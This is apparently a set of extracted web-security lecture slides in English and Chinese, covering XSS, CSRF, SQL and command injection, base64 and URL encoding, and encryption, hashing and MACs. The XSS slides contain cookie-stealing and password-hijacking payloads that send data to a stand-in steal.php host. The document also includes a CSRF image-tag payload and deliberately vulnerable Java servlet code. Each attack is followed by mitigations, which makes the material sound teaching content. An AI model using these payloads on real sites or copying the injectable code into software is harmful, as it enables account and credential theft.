Cross-Site Scripting

  • Cross site scripting is an attack against your users. A successful attack will allow the attacker to run arbitrary Javascript in a user’s browser

  • The trouble with XSS is that the larger the application, the more paths data can travel through it. You have to nail all of them.


Cross site scripting1

Cross-Site Scripting

2

1

Victim

Target

Attacker

HTML

XSS

XSS


Reflected xss

REFLECTED XSS

  • Data from a user is accepted by a page, processed, and returned to the user.

  • This type of vulnerability is often detectable by automated tools making it the most common.

  • It’s scope is limited to the user that submits the malicious request (often via phishing or other social engineering attacks).


Reflected xss1

REFLECTED XSS

  • This request simply tells me hello: http://example.com/hello.cgi?name=Don

    • This isn’t as friendly:

    http://example.com/hello.cgi?name=<SCRIPT SRC=http://hackerco.de/evil.js></SCRIPT>

    • This is the exact same thing (unicode): http://example.com/hello.cgi?name=%u003c %u0053%u0043%u0052%u0049%u0050%u0054%u0020%u0053%u0 052%u0043%u003d%u0068%u0074%u0074%u0070%u003a%u002f %u002f%u0068%u0061%u0063%u006b %u0065%u0072%u0063%u006f%u002e%u0064%u0065%u002f %u0065%u0076%u0069%u006c%u002e%u006a%u0073%u003e %u003c%u002f %u0053%u0043%u0052%u0049%u0050%u0054%u003e


Steal cookies

Steal Cookies

<script>document.location ='http://host/steal.php?cookies=' +encodeURI(document.cookie);</script>


Steal passwords

Steal Passwords

<script>document.forms[0].action = 'http://host/steal.php';</script>

<form name="steal" action="http://host/steal.php"><input type="text" name="username"style="display: none" /><input type="password" name="password"style="display: none" /><input type="image"src="image.png" /></form>


Stop it

Stop It!

  • FIEO.

  • Use valid HTML.

    • http://validator.w3.org/

  • Use existing solutions.

    • PHP developers, use htmlentities() or htmlspecialchars().

    • Make sure you indicate the character encoding!

  • Need to allow HTML?

    • Use HTML Purifier, even if you’re not using PHP: http://htmlpurifier.org/


Cross site request forgeries

Cross-Site Request Forgeries

2

1

Target

Victim

Attacker

CSRF


Web securities

CSRF

  • Cross Site Request Forgery (CSRF) occurs when the browser submits a request on an attacker’s behalf.

  • Consider this:

    http://example.com/transfer.cgi? dest=1&amount=1

  • If the user has an active, authenticated session, the attacker can transfer funds to any account.


Web securities

CSRF

  •  Yes, this does require a little bit of social engineering – the attacker has to get a user to click on a link, right?

    <imgsrc = “http://example.com/ transfer.cgi?dest=1&amount=1” width=“1” height=“1” alt=“”>

  • Most users would never notice that something happened. Would you?


Csrf stop it

CSRF Stop It!

  • 办法1:检查Http请求头Refer部分

    • 只有来自合法网站,才被允许

    • 问题是不是所有浏览器都提交Refer部分。而且Refer可以被屏蔽或者伪造。

  • 办法2:要求用户输入口令

    • 例如:要修改口令时,必须输入当前口令

    • 问题是,修改口令就不方便了

  • 办法3:授权令牌

    • 在隐藏域中包含一个服务端签名的值

    • 问题是:攻击者可以重用这个令牌

    • 必须绑定到浏览器中(例如cookie)


Web securities

CSRF

<form action = “/transfer.cgi” method = “post”> <input type=“hidden” name=“CSRFToken” value=“GUID or something similar”> <input type=“text” name=“dest” value=“1”> <input type=“text” name=“amount” value =“1”> </form>

Notice:

POST, not GET – posting a form doesn’t leave a token in the referer header or history.

The token isn’t stored in the cookie – you have to use a vehicle that isn’t auto- submitted. A header could have worked as well.


Interpreter injection

INTERPRETER INJECTION

  • This is an attack against your server that can allow arbitrary code execution.

  • SQL Injection is the most infamous type of code injection attack.

  • Other types of injection include LDAP, XML, HTTP, XAMP, PHP, JSP, Python, Perl …

  • Instead of tracking the individual techniques, you can think about this as interpreter injection.


Web securities

public void doGet(HttpServletRequest request, HttpServletResponse response){ String subject = request.getParameter("emailSubject");Runtime.exec("mail [email protected] -s "+subject+" </tmp/content");response.setContentType("text/html");PrintWriter out = response.getWriter();out.println("<html><head><title>Email sent</title></head>");out.println("<body>Thank you for your feedback</body></html>");}

public void doGet(HttpServletRequest request, HttpServletResponse response){ String pennID = request.getParameter("pennID");String query = "SELECT midterm FROM grades WHERE user="+pennID; result = database.runQuery(query);response.setContentType("text/html");PrintWriter out = response.getWriter();out.println("<html><head><title>Midterm grades</title></head>");out.println("<body>Your midterm grade is: "+result+"</body></html>");}


Sql injection stop it

SQL Injection – Stop It!

  • FIEO.

  •  Use stored procedures that exercise the principal of least privilege

  • Use parameterized queries.

  • Parameterized queries do the heavy lifting here.


Nformation leakage

NFORMATION LEAKAGE

  • UX folks are always after developers to give their users friendly, informative error messages when something fails.

  • Don’t listen to them.

  • Friendly is good, but informative often gives attackers actionable intelligence about how your application is written.

    • This is one of the most common techniques used to discover SQL Injection vulnerabilities.

  • Log detailed debug information. Display something generic.

    • Make sure the generic messages are uniform – an attacker can use slight inconsistencies in the error messages to differentiate between error states.


Client state manipulation

Client state manipulation

<html> <head><title>BMW order form</title></head> <body> <form method="get" action="/order.php"> How many BMWs? <input type="text" size="3" name="quantity"> <input type="hidden" name="price" value="50000"> <input type="submit" value="Order"> </form> </body></html>

危险: 在客户端存储关键信息

  • 示例: 在cookies, 隐藏域, URL, 或者其他用户可以访问到地方

  • 上述例子会导致什么发生?

  • 方案:

    • 在服务端保存可信状态

    • 对信息进行签名 (感知攻击!)


Web securities

Web安全基本思路

  • 来自于浏览器的输入值(Form提交,HTTP头,Cookies等)是可以被信赖的吗?

    • 输入值校验(数据清洗)

  • 服务端存放数据到浏览器端,是安全的吗?

    • 是否要存放在浏览器端(例如:产品价格,折扣等)

    • 使用加密/使用签名(不只是对值进行签名)

    • 使用KEY(数据存储在服务端)

  • 敏感信息校验时,是否采取可靠的验证策略?(暴力破解怎么防止)

    • 是否在校验错误时,重新生成图片/手机校验码/校验邮件

    • 是否在连续校验错误时,延迟校验或者账户锁定等

    • 敏感信息存储是否安全?

    • 数据库/文件中的敏感信息(例如:密码)是否加密存放

    • 认证、授权、审计了嘛?

    • 当前用户是否通过认证/当前操作是否经过授权/当前授权是否过期/…


Encoding

Encoding


Rfc3548 the base16 base32 and base64 data encodings

RFC3548:The Base16, Base32, and Base64 Data Encodings


Base64

BASE64


Base641

Base64

  • 使用的字符包括大小写字母各26个,加上10个数字,和加号“+”,斜杠“/”,一共64个字符,等号“=”用来作为后缀用途。

  • 完整的base64定义可见 RFC 1421和 RFC 2045。编码后的数据比原始数据略长,为原来的4/3

  • Base64算法将三个字符编码为4个字符,如果最后剩下两个输入数据,在编码结果后加1个“=”;如果最后剩下一个输入数据,编码结果后加2个“=”;如果没有剩下任何数据,就什么都不要加


Web securities

  • 编码“Man”


Web securities

The RFC 4648 Base 32 alphabet


Base16

BASE16


Web securities

URL编码

  • 在因特网上传送URL,只能采用ASCII字符集。

  • 在进行URL编码时,每一个非安全的ASCII字符都被替换为“%hh”格式,其中hh为两位十六进制数,它对应于该字符在ISO-8859-1字符集里的编码值。

  • URL字符串里不能含有空格,在进行URL编码时,空格全部被替换为加号(+)。


Web securities

URL编码参考


Encryption

Encryption


Terms

Terms

  • Identification: Who are you?

  • Authentication: how do I know your identity is true?鉴权:咦(e),你确实是谁

    • 通常案例:用户名/密码, PIN, 指纹,私钥加密能力等。

    • 就像我们看电话号码来确定对方是否是骗人的,有人个手机打过来说你的银行账户怎么了,那肯定是假的。这个电话号码相当于用户名。

    • 如果朋友的手机给我发短信,说急着用钱。那光凭这个电话号码还不够,那只是一个用户名,我们还需要一个密码。那我会打个电话过去确认一下这个信息是朋友发过来的。朋友的声音就相当于这个密码。

  • Authorization 授权:噢(o),那你能干什么

    • 通常案例: ACL(访问控制列表), 权限等。

  • Accounting/Auditing:record of all transactions so we can look for security problems after the fact:记账:你干了什么。这些记录下来的信息可以用于多种用度。

    • 可以用于安全审计(Security Audit),如哪个用户什么时候登录了,什么时候干了什么事。

    • 还可以管理、优化和计划等,如某些功能用的多了那么我们就对这方面做优化。

    • Accounting的东西可以提供给计费系统。

  • Encryption:用来保护数据

    ciphertext = Ksender[plaintext]

    plaintext = Kreceiver[Ksender[plaintext]]


Encryption1

Encryption

Secret key

Secret key


Encryption types

Encryption types

Symmetric encryption

Asymmetric encryption

Same key for encryption and decryption

Fast

Easy to setup

Does not provide authentication

Different key for encryption and decryption

Slower

Requires safe key exchange

Provides authentication


Symmetric encryption

Symmetric encryption

DES, 3DES, AES


Symmetric encryption1

Symmetric encryption

encryption

decryption

encryption key


Algorithms

Algorithms

  • DES

    • first „standardized“ algorithm, 64-bit blocks

    • 56-bit keys very succeptible to brute-force attacks

  • 3DES

    • addresses issues with DES key shortness

    • encyption-decryption-encryption with 3 56-bit keys for an effective 168-bit

  • AES

    • 128-bit basic blocks

    • keys of 128, 192 and 256-bit lengths

    • faster and more secure than 3DES

    • free and public


Asymmetric encryption

Asymmetric encryption

Public-key encryption


Asymmetric encryption1

Asymmetric encryption

encryption

decryption

authors private key

authors public key


Properties

Properties

  • ciphertext encrypted with private key may only be decrypted by corresponding public key

  • ciphertext encrypted with public key may only be decrypted by corresponding private key

  • provides confidentiality and authentication

  • still requires secure key exchange


Authentication

Authentication


Message authentication

Message Authentication

  • Generate authentication code based on shared key and message

  • Common key shared between A and B

  • If only sender and receiver know key and code matches:

    • Receiver assured message has not altered

    • Receiver assured message is from alleged sender

    • If message has sequence number, receiver assured of proper sequence


Web securities

Hash Functions

Message M

  • Hash Function

    • Generate a fixed length “Fingerprint” for an arbitrary length message

    • No Key involved

    • Must be at least One-way to be useful

  • Constructions

    • Iterated hash functions (MD4-family hash functions): MD5, SHA1, …

    • Hash functions based on block ciphers: MDC(Manipulation Detection Code)

H

Message Digest D

D = H(M)


Web securities

Message Authentication Codes (MACs)

  • MAC

    • Generate a fixed length MAC for an arbitrary length message

    • A keyed hash function

    • Message origin authentication

    • Message integrity

    • Entity authentication

    • Transaction authentication

Shared Secret Key

MAC

MAC

SEND

MAC


Web securities

Comparison of Hash Function & MAC

Arbitrary length

Arbitrary length

message

message

Hash

function

MAC

function

Secret key

Hash

MAC

fixed length

fixed length

  • Easy to compute

  • Compression: arbitrary length input to fixed length output

  • Unkeyed function vs. Keyed function


Web securities

Symmetric Authentication (MAC)

Bob

Alice

Message

Message

MAC

MAC

transmit

Secret key

algorithm

Secret key

algorithm

KAB

KAB

Shared

Secret key

between

Alice and Bob

Shared

Secret key

between

Alice and Bob

MAC

no

yes


Web securities

Digital Signature

Bob

Alice

Message

Message

Signature

Signature

transmit

Hash

function

Hash

function

Hash value

Hash value 1

Alice’s

Public key

Public key

algorithm

no

yes

Hash value 2

Alice’s

Private key

Public key

algorithm


Hashing

Hashing

  • A hashing algorithm refers to a mathematical function that takes a variable- size string as input and transforms (hashes) it into a fixed-size string, which is called the hash value.

  • One of the most common uses of hashing in network security is to produce condensed representations of messages or “fingerprints,” often known as “message digests,” by applying a hashing algorithm to an arbitrary amount of data — the message.

  • The two most commonly used hashing algorithms are MD5 and SHA­1 (part of the secure hash standard [SHS]).


  • Login